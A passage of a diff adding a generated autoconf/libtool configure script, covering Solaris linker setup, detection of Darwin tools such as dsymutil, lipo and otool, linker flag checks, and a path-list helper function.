+ return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + lt_cv_cc_needs_belf=yes +else case e in #( + e) lt_cv_cc_needs_belf=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5 +printf "%s\n" "$lt_cv_cc_needs_belf" >&6; } + if test yes != "$lt_cv_cc_needs_belf"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS=$SAVE_CFLAGS + fi + ;; +*-*solaris*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + case `$FILECMD conftest.o` in + *64-bit*) + case $lt_cv_prog_gnu_ld in + yes*) + case $host in + i?86-*-solaris*|x86_64-*-solaris*) + LD="${LD-ld} -m elf_x86_64" + ;; + sparc*-*-solaris*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + # GNU ld 2.21 introduced _sol2 emulations. Use them if available. + if ${LD-ld} -V | grep _sol2 >/dev/null 2>&1; then + LD=${LD-ld}_sol2 + fi + ;; + *) + if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then + LD="${LD-ld} -64" + fi + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; +esac + +need_locks=$enable_libtool_lock + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args. +set dummy ${ac_tool_prefix}mt; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_MANIFEST_TOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$MANIFEST_TOOL"; then + ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL +if test -n "$MANIFEST_TOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5 +printf "%s\n" "$MANIFEST_TOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_MANIFEST_TOOL"; then + ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL + # Extract the first word of "mt", so it can be a program name with args. +set dummy mt; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_MANIFEST_TOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_MANIFEST_TOOL"; then + ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_MANIFEST_TOOL="mt" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL +if test -n "$ac_ct_MANIFEST_TOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5 +printf "%s\n" "$ac_ct_MANIFEST_TOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_MANIFEST_TOOL" = x; then + MANIFEST_TOOL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL + fi +else + MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL" +fi + +test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5 +printf %s "checking if $MANIFEST_TOOL is a manifest tool... " >&6; } +if test ${lt_cv_path_mainfest_tool+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_path_mainfest_tool=no + echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5 + $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out + cat conftest.err >&5 + if $GREP 'Manifest Tool' conftest.out > /dev/null; then + lt_cv_path_mainfest_tool=yes + fi + rm -f conftest* ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5 +printf "%s\n" "$lt_cv_path_mainfest_tool" >&6; } +if test yes != "$lt_cv_path_mainfest_tool"; then + MANIFEST_TOOL=: +fi + + + + + + + case $host_os in + rhapsody* | darwin*) + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dsymutil", so it can be a program name with args. +set dummy ${ac_tool_prefix}dsymutil; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_DSYMUTIL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$DSYMUTIL"; then + ac_cv_prog_DSYMUTIL="$DSYMUTIL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_DSYMUTIL="${ac_tool_prefix}dsymutil" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +DSYMUTIL=$ac_cv_prog_DSYMUTIL +if test -n "$DSYMUTIL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $DSYMUTIL" >&5 +printf "%s\n" "$DSYMUTIL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DSYMUTIL"; then + ac_ct_DSYMUTIL=$DSYMUTIL + # Extract the first word of "dsymutil", so it can be a program name with args. +set dummy dsymutil; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_DSYMUTIL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_DSYMUTIL"; then + ac_cv_prog_ac_ct_DSYMUTIL="$ac_ct_DSYMUTIL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DSYMUTIL="dsymutil" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_DSYMUTIL=$ac_cv_prog_ac_ct_DSYMUTIL +if test -n "$ac_ct_DSYMUTIL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DSYMUTIL" >&5 +printf "%s\n" "$ac_ct_DSYMUTIL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_DSYMUTIL" = x; then + DSYMUTIL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DSYMUTIL=$ac_ct_DSYMUTIL + fi +else + DSYMUTIL="$ac_cv_prog_DSYMUTIL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}nmedit", so it can be a program name with args. +set dummy ${ac_tool_prefix}nmedit; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_NMEDIT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$NMEDIT"; then + ac_cv_prog_NMEDIT="$NMEDIT" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_NMEDIT="${ac_tool_prefix}nmedit" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +NMEDIT=$ac_cv_prog_NMEDIT +if test -n "$NMEDIT"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $NMEDIT" >&5 +printf "%s\n" "$NMEDIT" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_NMEDIT"; then + ac_ct_NMEDIT=$NMEDIT + # Extract the first word of "nmedit", so it can be a program name with args. +set dummy nmedit; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_NMEDIT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_NMEDIT"; then + ac_cv_prog_ac_ct_NMEDIT="$ac_ct_NMEDIT" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_NMEDIT="nmedit" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_NMEDIT=$ac_cv_prog_ac_ct_NMEDIT +if test -n "$ac_ct_NMEDIT"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_NMEDIT" >&5 +printf "%s\n" "$ac_ct_NMEDIT" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_NMEDIT" = x; then + NMEDIT=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + NMEDIT=$ac_ct_NMEDIT + fi +else + NMEDIT="$ac_cv_prog_NMEDIT" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}lipo", so it can be a program name with args. +set dummy ${ac_tool_prefix}lipo; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_LIPO+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$LIPO"; then + ac_cv_prog_LIPO="$LIPO" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_LIPO="${ac_tool_prefix}lipo" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +LIPO=$ac_cv_prog_LIPO +if test -n "$LIPO"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $LIPO" >&5 +printf "%s\n" "$LIPO" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_LIPO"; then + ac_ct_LIPO=$LIPO + # Extract the first word of "lipo", so it can be a program name with args. +set dummy lipo; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_LIPO+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_LIPO"; then + ac_cv_prog_ac_ct_LIPO="$ac_ct_LIPO" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_LIPO="lipo" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_LIPO=$ac_cv_prog_ac_ct_LIPO +if test -n "$ac_ct_LIPO"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_LIPO" >&5 +printf "%s\n" "$ac_ct_LIPO" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_LIPO" = x; then + LIPO=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + LIPO=$ac_ct_LIPO + fi +else + LIPO="$ac_cv_prog_LIPO" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}otool", so it can be a program name with args. +set dummy ${ac_tool_prefix}otool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_OTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$OTOOL"; then + ac_cv_prog_OTOOL="$OTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_OTOOL="${ac_tool_prefix}otool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +OTOOL=$ac_cv_prog_OTOOL +if test -n "$OTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $OTOOL" >&5 +printf "%s\n" "$OTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OTOOL"; then + ac_ct_OTOOL=$OTOOL + # Extract the first word of "otool", so it can be a program name with args. +set dummy otool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_OTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_OTOOL"; then + ac_cv_prog_ac_ct_OTOOL="$ac_ct_OTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OTOOL="otool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_OTOOL=$ac_cv_prog_ac_ct_OTOOL +if test -n "$ac_ct_OTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL" >&5 +printf "%s\n" "$ac_ct_OTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_OTOOL" = x; then + OTOOL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OTOOL=$ac_ct_OTOOL + fi +else + OTOOL="$ac_cv_prog_OTOOL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}otool64", so it can be a program name with args. +set dummy ${ac_tool_prefix}otool64; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_OTOOL64+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$OTOOL64"; then + ac_cv_prog_OTOOL64="$OTOOL64" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_OTOOL64="${ac_tool_prefix}otool64" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +OTOOL64=$ac_cv_prog_OTOOL64 +if test -n "$OTOOL64"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $OTOOL64" >&5 +printf "%s\n" "$OTOOL64" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OTOOL64"; then + ac_ct_OTOOL64=$OTOOL64 + # Extract the first word of "otool64", so it can be a program name with args. +set dummy otool64; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_OTOOL64+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_OTOOL64"; then + ac_cv_prog_ac_ct_OTOOL64="$ac_ct_OTOOL64" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OTOOL64="otool64" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_OTOOL64=$ac_cv_prog_ac_ct_OTOOL64 +if test -n "$ac_ct_OTOOL64"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL64" >&5 +printf "%s\n" "$ac_ct_OTOOL64" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_OTOOL64" = x; then + OTOOL64=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OTOOL64=$ac_ct_OTOOL64 + fi +else + OTOOL64="$ac_cv_prog_OTOOL64" +fi + + + + + + + + + + + + + + + + + + + + + + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for -single_module linker flag" >&5 +printf %s "checking for -single_module linker flag... " >&6; } +if test ${lt_cv_apple_cc_single_mod+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_apple_cc_single_mod=no + if test -z "$LT_MULTI_MODULE"; then + # By default we will add the -single_module flag. You can override + # by either setting the environment variable LT_MULTI_MODULE + # non-empty at configure time, or by adding -multi_module to the + # link flags. + rm -rf libconftest.dylib* + echo "int foo(void){return 1;}" > conftest.c + echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ +-dynamiclib -Wl,-single_module conftest.c" >&5 + $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ + -dynamiclib -Wl,-single_module conftest.c 2>conftest.err + _lt_result=$? + # If there is a non-empty error log, and "single_module" + # appears in it, assume the flag caused a linker warning + if test -s conftest.err && $GREP single_module conftest.err; then + cat conftest.err >&5 + # Otherwise, if the output was created with a 0 exit code from + # the compiler, it worked. + elif test -f libconftest.dylib && test 0 = "$_lt_result"; then + lt_cv_apple_cc_single_mod=yes + else + cat conftest.err >&5 + fi + rm -rf libconftest.dylib* + rm -f conftest.* + fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_apple_cc_single_mod" >&5 +printf "%s\n" "$lt_cv_apple_cc_single_mod" >&6; } + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for -exported_symbols_list linker flag" >&5 +printf %s "checking for -exported_symbols_list linker flag... " >&6; } +if test ${lt_cv_ld_exported_symbols_list+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_ld_exported_symbols_list=no + save_LDFLAGS=$LDFLAGS + echo "_main" > conftest.sym + LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + lt_cv_ld_exported_symbols_list=yes +else case e in #( + e) lt_cv_ld_exported_symbols_list=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS=$save_LDFLAGS + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_exported_symbols_list" >&5 +printf "%s\n" "$lt_cv_ld_exported_symbols_list" >&6; } + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for -force_load linker flag" >&5 +printf %s "checking for -force_load linker flag... " >&6; } +if test ${lt_cv_ld_force_load+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_ld_force_load=no + cat > conftest.c << _LT_EOF +int forced_loaded() { return 2;} +_LT_EOF + echo "$LTCC $LTCFLAGS -c -o conftest.o conftest.c" >&5 + $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5 + echo "$AR $AR_FLAGS libconftest.a conftest.o" >&5 + $AR $AR_FLAGS libconftest.a conftest.o 2>&5 + echo "$RANLIB libconftest.a" >&5 + $RANLIB libconftest.a 2>&5 + cat > conftest.c << _LT_EOF +int main() { return 0;} +_LT_EOF + echo "$LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a" >&5 + $LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a 2>conftest.err + _lt_result=$? + if test -s conftest.err && $GREP force_load conftest.err; then + cat conftest.err >&5 + elif test -f conftest && test 0 = "$_lt_result" && $GREP forced_load conftest >/dev/null 2>&1; then + lt_cv_ld_force_load=yes + else + cat conftest.err >&5 + fi + rm -f conftest.err libconftest.a conftest conftest.c + rm -rf conftest.dSYM + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_force_load" >&5 +printf "%s\n" "$lt_cv_ld_force_load" >&6; } + case $host_os in + rhapsody* | darwin1.[012]) + _lt_dar_allow_undefined='$wl-undefined ${wl}suppress' ;; + darwin1.*) + _lt_dar_allow_undefined='$wl-flat_namespace $wl-undefined ${wl}suppress' ;; + darwin*) + case $MACOSX_DEPLOYMENT_TARGET,$host in + 10.[012],*|,*powerpc*-darwin[5-8]*) + _lt_dar_allow_undefined='$wl-flat_namespace $wl-undefined ${wl}suppress' ;; + *) + _lt_dar_allow_undefined='$wl-undefined ${wl}dynamic_lookup' ;; + esac + ;; + esac + if test yes = "$lt_cv_apple_cc_single_mod"; then + _lt_dar_single_mod='$single_module' + fi + if test yes = "$lt_cv_ld_exported_symbols_list"; then + _lt_dar_export_syms=' $wl-exported_symbols_list,$output_objdir/$libname-symbols.expsym' + else + _lt_dar_export_syms='~$NMEDIT -s $output_objdir/$libname-symbols.expsym $lib' + fi + if test : != "$DSYMUTIL" && test no = "$lt_cv_ld_force_load"; then + _lt_dsymutil='~$DSYMUTIL $lib || :' + else + _lt_dsymutil= + fi + ;; + esac + +# func_munge_path_list VARIABLE PATH +# ----------------------------------- +# VARIABLE is name of variable containing _space_ separated list of +# directories to be munged by the contents of PATH, which is string +# having a format: +# "DIR[:DIR]:" +# string "DIR[ DIR]" will be prepended to VARIABLE +# ":DIR[:DIR]" +# string "DIR[ DIR]" will be appended to VARIABLE +# "DIRP[:DIRP]::[DIRA:]DIRA" +# string "DIRP[ DIRP]" will be prepended to VARIABLE and string +# "DIRA[ DIRA]" will be appended to VARIABLE +# "DIR[:DIR]" +# VARIABLE will be replaced by "DIR[ DIR]" +func_munge_path_list () +{ + case x$2 in + x) + ;; + *:) + eval $1=\"`$ECHO $2 | $SED 's/:/ /g'` \$$1\" + ;; + x:*) + eval $1=\"\$$1 `$ECHO $2 | $SED 's/:/ /g'`\" + ;; + *::*) + eval $1=\"\$$1\ `$ECHO $2 | $SED -e 's/.*:://' -e 's/:/ /g'`\" + eval $1=\"`$ECHO $2 | $SED -e 's/::.*//' -e 's/:/ /g'`\ \$$1\" + ;; + *) + eval $1=\"`$ECHO $2 | $SED 's/:/ /g'`\" + ;; + esac +} + +ac_fn_c_check_header_compile "$LINENO" 